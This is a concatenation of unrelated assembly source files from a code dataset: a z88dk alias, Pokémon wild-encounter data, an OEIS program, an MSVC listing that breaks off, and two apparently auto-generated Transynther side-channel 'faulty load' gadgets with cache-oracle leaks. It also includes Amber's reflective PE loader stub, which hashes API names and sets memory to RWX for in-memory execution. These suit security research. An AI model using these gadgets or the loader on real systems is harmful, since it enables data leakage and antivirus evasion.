7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dload.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC asm_dload, asm_dloadb EXTERN am48_dload, am48_dloadb defc asm_dload = am48_dload defc asm_dloadb = am48_dloadb
14.909091
30
0.835366
a75596c90650d1337e1e8f3df139f11894574da6
7,558
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_335.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_335.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_335.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1973e, %r11 nop nop nop cmp $56058, %rdi movb (%r11), %cl nop nop nop nop nop cmp $35922, %rdx lea addresses_D_ht+0x11ade, %r10 nop dec %rdi movl $0x61626364, (%r10) nop cmp %rcx, %rcx lea addresses_WC_ht+0x1d5c6, %r13 xor $33030, %r15 movups (%r13), %xmm2 vpextrq $1, %xmm2, %r10 nop nop xor $41345, %rcx lea addresses_UC_ht+0x18dbe, %rsi lea addresses_normal_ht+0x1c3a2, %rdi nop xor $3145, %r10 mov $50, %rcx rep movsq nop nop add $39339, %r11 lea addresses_D_ht+0x107be, %r15 nop add %r13, %r13 movw $0x6162, (%r15) nop nop xor %rcx, %rcx lea addresses_WC_ht+0xe5be, %r13 nop and %rdi, %rdi mov $0x6162636465666768, %r11 movq %r11, %xmm2 vmovups %ymm2, (%r13) nop nop nop nop nop and %rdi, %rdi lea addresses_normal_ht+0xc256, %rsi nop nop nop xor %r11, %r11 movl $0x61626364, (%rsi) dec %r11 lea addresses_WT_ht+0x3e3e, %rsi nop nop nop nop nop sub $27397, %r15 movw $0x6162, (%rsi) nop nop sub $11803, %rdi lea addresses_WC_ht+0x1bdbe, %rsi lea addresses_A_ht+0xbfbe, %rdi nop nop nop nop cmp $21370, %r13 mov $21, %rcx rep movsb nop nop nop nop cmp $59189, %r13 lea addresses_UC_ht+0x1bfbe, %r11 clflush (%r11) nop nop dec %rdi mov (%r11), %ecx nop nop nop nop add %r11, %r11 lea addresses_UC_ht+0xf7be, %rsi lea addresses_normal_ht+0x1a7be, %rdi clflush (%rdi) nop nop nop nop and $53954, %rdx mov $74, %rcx rep movsl nop nop nop xor %rdx, %rdx lea addresses_normal_ht+0xc4b6, %rdx nop nop nop nop nop xor %rsi, %rsi movw $0x6162, (%rdx) nop nop nop nop nop xor $1755, %rdx lea addresses_normal_ht+0xd63b, %rdx nop nop nop nop add $293, %r15 vmovups (%rdx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rcx add $25459, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_normal+0x10fbe, %rsi lea addresses_RW+0x13c3e, %rdi nop inc %r9 mov $100, %rcx rep movsw xor %rcx, %rcx // Faulty Load lea addresses_normal+0x10fbe, %rax nop nop nop nop nop sub %r9, %r9 movups (%rax), %xmm4 vpextrq $1, %xmm4, %r12 lea oracles, %r9 and $0xff, %r12 shlq $12, %r12 mov (%r9,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_RW'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
34.511416
2,999
0.659169
fb0d230b57e0f8ffc2e09af7c1827aadde5f7dc5
688
asm
Assembly
oeis/020/A020711.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/020/A020711.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/020/A020711.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A020711: Pisot sequences E(5,7), P(5,7). ; Submitted by Jon Maiga ; 5,7,10,14,20,29,42,61,89,130,190,278,407,596,873,1279,1874,2746,4024,5897,8642,12665,18561,27202,39866,58426,85627,125492,183917,269543,395034,578950,848492,1243525,1822474,2670965,3914489,5736962,8407926,12322414,18059375,26467300,38789713,56849087,83316386,122106098,178955184,262271569,384377666,563332849,825604417,1209982082,1773314930,2598919346,3808901427,5582216356,8181135701,11990037127,17572253482,25753389182,37743426308,55315679789,81069068970,118812495277,174128175065,255197244034 mov $2,1 lpb $0 sub $0,1 mov $5,$4 mov $4,$2 mov $2,$3 add $2,2 add $5,$2 mov $3,$5 lpe mov $0,$3 add $0,5
40.470588
497
0.774709
5878e4327e9174f7e9f60bbd4d013a8b24726c6b
6,300
asm
Assembly
core/x86/fixed_stub.asm
mshafiqsb/Amber
1117babcd42c5d4c8a5e33f39d84dd1ce15933a8
[ "MIT" ]
null
null
null
core/x86/fixed_stub.asm
mshafiqsb/Amber
1117babcd42c5d4c8a5e33f39d84dd1ce15933a8
[ "MIT" ]
null
null
null
core/x86/fixed_stub.asm
mshafiqsb/Amber
1117babcd42c5d4c8a5e33f39d84dd1ce15933a8
[ "MIT" ]
null
null
null
; x86 Reflective Stub Fixed (No relocation) ; Author: Ege Balcı <egebalci@pm.me> ; Version: 1.0 ; ;#- stub.asm ------------------------------ ; ESI = &PE ; RBP = &api.asm ; EBX = image_base ; STACK[0] = address_of_entry ; STACK[1] = image_base [BITS 32] [ORG 0] cld call stub ; ... PE: incbin "Mem.map" ; PE file image image_size: equ $-PE ; Size of the PE image stub: pop esi ; Get the address of image to esi call start ; %include "api.asm"; start: ; pop ebp ; Get the address of api to ebp mov eax,[esi+0x3C] ; Get the offset of "PE" to eax mov ebx,[eax+esi+0x34] ; Get the image base address to ebx mov eax,[eax+esi+0x28] ; Get the address of entry point to eax push eax ; Save the adress of entry to stack push ebx ; Save the image base to stack push 0x00000000 ; Allocate a DWORD variable inside stack push esp ; lpflOldProtect push byte 0x40 ; PAGE_EXECUTE_READWRITE push image_size ; dwSize push ebx ; lpAddress push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" ) call ebp ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) test eax,eax ; Check success jz fail ; If VirtualProtect fails we are FUCKED ! pop eax ; Fix the stack ;#- resolve.asm ------------------------------ ; ESI = &PE ; EBX = HANDLE(module) ; ECX = &IAT ; STACK[0] = address_of_entry ; STACK[1] = image_base ; STACK[2] = &_IMAGE_IMPORT_DESCRIPTOR ; STACK[3] = _IMAGE_IMPORT_DESCRIPTOR->IAT (RVA) ; mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") mov eax,[eax+esi+0x80] ; Import table RVA add eax,esi ; Import table memory address (first image import descriptor) push eax ; Save the address of import descriptor to stack get_modules: cmp dword [eax],0x00 ; Check if the import names table RVA is NULL jz complete ; If yes building process is done mov eax,[eax+0x0C] ; Get RVA of dll name to eax add eax,esi ; Get the dll name address call LoadLibraryA ; Load the library mov ebx,eax ; Move the dll handle to ebx mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax call get_procs ; Resolve all windows API function addresses add dword [esp],0x14 ; Move to the next import descriptor mov eax,[esp] ; Set the new import descriptor address to eax jmp get_modules get_procs: push ecx ; Save ecx to stack push dword [eax+0x10] ; Save the current import descriptor IAT RVA add [esp],esi ; Get the IAT memory address mov eax,[eax] ; Set the import names table RVA to eax add eax,esi ; Get the current import descriptor's import names table address push eax ; Save it to stack resolve: cmp dword [eax],0x00 ; Check if end of the import names table jz all_resolved ; If yes resolving process is done mov eax,[eax] ; Get the RVA of function hint to eax cmp eax,0x80000000 ; Check if the high order bit is set js name_resolve ; If high order bit is not set resolve with INT entry sub eax,0x80000000 ; Zero out the high bit call GetProcAddress ; Get the API address with hint jmp insert_iat ; Insert the address of API tı IAT name_resolve: add eax,esi ; Set the address of function hint add dword eax,0x02 ; Move to function name call GetProcAddress ; Get the function address to eax insert_iat: mov ecx,[esp+4] ; Move the IAT address to ecx mov [ecx],eax ; Insert the function address to IAT add dword [esp],0x04 ; Increase the import names table index add dword [esp+4],0x04 ; Increase the IAT index mov eax,[esp] ; Set the address of import names table address to eax jmp resolve ; Loop all_resolved: mov ecx,[esp+4] ; Move the IAT address to ecx mov dword [ecx],0x00 ; Insert a NULL dword pop ecx ; Deallocate index values pop ecx ; ... pop ecx ; Put back the ecx value ret ; <- LoadLibraryA: push ecx ; Save ecx to stack push edx ; Save edx to stack push eax ; Push the address of linrary name string push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA([esp+4]) pop edx ; Retreive edx pop ecx ; Retreive ecx ret ; <- GetProcAddress: push ecx ; Save ecx to stack push edx ; Save edx to stack push eax ; Push the address of proc name string push ebx ; Push the dll handle push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) call ebp ; GetProcAddress(ebx,[esp+4]) pop edx ; Retrieve edx pop ecx ; Retrieve ecx ret ; <- complete: pop eax ; Clean out the stack ;---------------------------------------------------------------------- ; All done, now copy the image to new base and start a new thread ; ESI = &PE ; STACK[0] = address_of_entry ; STACK[1] = image_base ; xor ecx,ecx ; Zero out the ECX pop ebx ; Pop the image base to EBX add [esp],ebx ; Add image base to address of entry mov ecx,image_size ; Move the image size to ECX memcpy: mov al,[esi] ; Move 1 byte of PE image to AL register mov [ebx],al ; Move 1 byte of PE image to image base inc esi ; Increase PE image index inc ebx ; Increase image base index loop memcpy ; Loop until ECX = 0 ret ; Return to the AOEP fail: ret ; <-
45
109
0.552698
d83c779c1c033bf46513422eabe8cfb8f3db74be
6,671
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1086_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1086_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1086_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1b318, %rbp nop nop add $36396, %r12 movb $0x61, (%rbp) nop nop nop nop sub %rcx, %rcx lea addresses_normal_ht+0x154e4, %r10 nop nop dec %rbx mov $0x6162636465666768, %rdx movq %rdx, %xmm5 vmovups %ymm5, (%r10) nop xor $61235, %rcx lea addresses_A_ht+0x13f5e, %rcx nop nop nop and %r12, %r12 movw $0x6162, (%rcx) nop nop nop nop xor $34627, %r10 lea addresses_normal_ht+0x19a8, %rbp xor %rcx, %rcx movl $0x61626364, (%rbp) nop dec %r12 lea addresses_WT_ht+0x10120, %rsi lea addresses_normal_ht+0x2fe8, %rdi nop nop mfence mov $112, %rcx rep movsl nop nop nop nop add $44155, %r10 lea addresses_WC_ht+0x10de8, %rbx nop nop nop and %r12, %r12 mov $0x6162636465666768, %r13 movq %r13, (%rbx) nop nop nop nop nop xor $50441, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_RW+0x186af, %rsi lea addresses_normal+0x15248, %rdi nop nop nop nop nop cmp %r8, %r8 mov $75, %rcx rep movsq nop nop nop dec %r8 // Load mov $0x7015fa00000008b4, %r13 nop add %rax, %rax mov (%r13), %ebx nop add %rsi, %rsi // Load lea addresses_PSE+0x8bd6, %rbx nop nop nop nop dec %rdi vmovups (%rbx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r13 xor %rsi, %rsi // Load lea addresses_WC+0x6530, %r8 nop nop nop nop add %rsi, %rsi mov (%r8), %r13d nop nop nop nop nop dec %r13 // Store lea addresses_PSE+0x2ca8, %rdi nop nop nop cmp $10925, %rax movb $0x51, (%rdi) nop nop nop add %rcx, %rcx // Faulty Load mov $0x5329130000000fe8, %rbx dec %r13 mov (%rbx), %si lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_RW', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'00': 1086} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.386598
2,999
0.655974
f51e79d3b45649e507aec0fecb10a1321c3af159
187
asm
Assembly
data/wildPokemon/route15.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
null
null
null
data/wildPokemon/route15.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
null
null
null
data/wildPokemon/route15.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
null
null
null
Route15Mons: db $0F db 26,ODDISH db 26,BELLSPROUT db 24,MARILL db 32,PIDGEOTTO db 28,ODDISH db 28,BELLSPROUT db 30,GLOOM db 30,WEEPINBELL db 27,VENONAT db 30,VENOMOTH db $00
12.466667
17
0.727273
c71078b79e05c58f57dd45bcb29a285947776498
7,024
asm
Assembly
Epilog/asm/MSVC2015/func-rets-omitfp-stackp.asm
Dovgalyuk/AntiTaint
c27407d8fa35a76d009ca0981f4b55f08a0a1c65
[ "Apache-2.0" ]
1
2018-12-31T22:11:24.000Z
2018-12-31T22:11:24.000Z
Epilog/asm/MSVC2015/func-rets-omitfp-stackp.asm
Dovgalyuk/SecurityFlaws
c27407d8fa35a76d009ca0981f4b55f08a0a1c65
[ "Apache-2.0" ]
null
null
null
Epilog/asm/MSVC2015/func-rets-omitfp-stackp.asm
Dovgalyuk/SecurityFlaws
c27407d8fa35a76d009ca0981f4b55f08a0a1c65
[ "Apache-2.0" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0 TITLE D:\Projects\TaintAnalysis\AntiTaint\Epilog\src\func-rets.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC ___local_stdio_printf_options PUBLIC __vfprintf_l PUBLIC _printf PUBLIC _func PUBLIC _main EXTRN __imp____acrt_iob_func:PROC EXTRN __imp____stdio_common_vfprintf:PROC EXTRN _gets:PROC EXTRN @__security_check_cookie@4:PROC EXTRN ___security_cookie:DWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-rets.c _TEXT SEGMENT $T1 = -128 ; size = 20 $T2 = -108 ; size = 20 $T3 = -88 ; size = 20 _z$ = -68 ; size = 4 _b$ = -64 ; size = 20 _c$ = -44 ; size = 20 _a$ = -24 ; size = 20 __$ArrayPad$ = -4 ; size = 4 _main PROC ; 25 : { push ebp mov ebp, esp sub esp, 128 ; 00000080H mov eax, DWORD PTR ___security_cookie xor eax, ebp mov DWORD PTR __$ArrayPad$[ebp], eax ; 26 : struct S a,b,c; ; 27 : int z = 0; mov DWORD PTR _z$[ebp], 0 ; 28 : a = func(); lea eax, DWORD PTR $T3[ebp] push eax call _func add esp, 4 mov ecx, DWORD PTR [eax] mov DWORD PTR _a$[ebp], ecx mov edx, DWORD PTR [eax+4] mov DWORD PTR _a$[ebp+4], edx mov ecx, DWORD PTR [eax+8] mov DWORD PTR _a$[ebp+8], ecx mov edx, DWORD PTR [eax+12] mov DWORD PTR _a$[ebp+12], edx mov eax, DWORD PTR [eax+16] mov DWORD PTR _a$[ebp+16], eax ; 29 : z += a.a; mov ecx, DWORD PTR _z$[ebp] add ecx, DWORD PTR _a$[ebp] mov DWORD PTR _z$[ebp], ecx ; 30 : 